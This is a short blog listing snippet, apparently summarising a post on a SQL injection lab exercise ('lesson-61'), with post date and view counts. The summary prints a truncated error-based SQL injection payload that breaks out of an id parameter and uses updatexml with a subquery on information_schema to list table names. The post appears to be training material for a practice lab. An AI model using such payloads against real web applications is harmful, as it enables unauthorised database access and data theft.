摘要: lesson-61 ?id=1' ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges') 阅读全文
posted @ 2023-03-17 19:47 mushangqiujin 阅读(3) 评论(0) 推荐(0)